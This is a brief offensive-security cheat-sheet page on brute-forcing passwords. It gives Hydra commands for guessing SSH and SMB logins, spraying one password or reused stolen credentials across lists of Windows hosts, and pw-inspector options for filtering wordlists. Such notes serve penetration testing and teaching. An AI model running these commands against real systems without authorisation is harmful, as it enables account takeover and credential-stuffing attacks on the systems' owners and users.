> For the complete documentation index, see [llms.txt](https://notes.m4lwhere.org/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.m4lwhere.org/offensive/password-attacks/brute-forcing.md).

# Brute Forcing

## Hydra

Extensible and flexible network based password guessing tool

```bash
hydra -u root -P passwords.txt ssh://m4lwhere.org             # Single user with a list of passwords
hydra -U users.txt -p P@ssw0rd1 smb://files.m4lwhere.org      # List of users with one password
hydra -u admin -p passw0rd -M windowsHosts.txt smb            # One username and password across a list of Windows hosts on SMB
hydra -C creds.txt -M windowsHosts.txt smb                    # Used previously gathered creds in user:pass format across a list of Win hosts
```

Can trim wordlists using the `pw-inspector` to reduce invalid passwords based on known password policies.

```bash
-i file
-o file
-m min password length
-M max password length
-c [criteria] min criteria for each password
    -l [lowercase]
    -u [uppercase]
    -n [numbers]
    -p [printable non l,u,n (!@#$%^&)]
    -s [special chars, including non-printable]
```